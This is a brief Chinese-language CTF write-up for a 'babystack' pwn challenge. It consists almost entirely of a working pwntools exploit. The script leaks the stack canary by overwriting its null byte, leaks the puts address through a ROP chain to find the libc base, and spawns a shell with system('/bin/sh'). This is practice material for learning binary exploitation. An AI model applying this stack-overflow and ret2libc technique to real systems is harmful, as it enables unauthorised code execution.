思路：
通过覆盖canary的截断字符"x00"，从而连带打印出canary
而后就是简单的ret2libc了
exp:
from pwn import *
#p = remote("node4.buuoj.cn",29299)
p = process("./babystack")
elf = ELF("./babystack")
context.log_level ="debug"
#libc = ELF("libc-2.23.so")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.timeout = 0.2
def dbg():
gdb.attach(p)
pause()
pop_rdi = 0x400a93
ret = 0x40067e
puts_plt = 0x400690
puts_got = elf.got["puts"]
main = 0x400908
str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
p.recvuntil(">>")
p.sendline("1")
p.sendline(str)
p.sendline("2")
p.recvuntil("a"*0x88)
canary = u64(p.recv(8))-0xa
log.success(hex(canary))
p.recvuntil(">>")
p.sendline("1")
p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main))
p.sendlineafter(">>",'3')
p.recv()
addr = u64(p.recv(6).ljust(8,'x00'))
libc_base = addr - libc.symbols['puts']
sys = libc_base + libc.symbols["system"]
sh = libc_base + next(libc.search("/bin/sh"))
log.success(hex(addr))
p.sendline("1")
p.sendline(str)
p.sendline("2")
p.recvuntil("a"*0x88)
canary = u64(p.recv(8))-0xa
log.success(hex(canary))
p.recvuntil(">>")
p.sendline("1")
p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) + p64(sh) + p64(sys) + p64(main))
p.sendlineafter(">>",'3')
p.interactive()
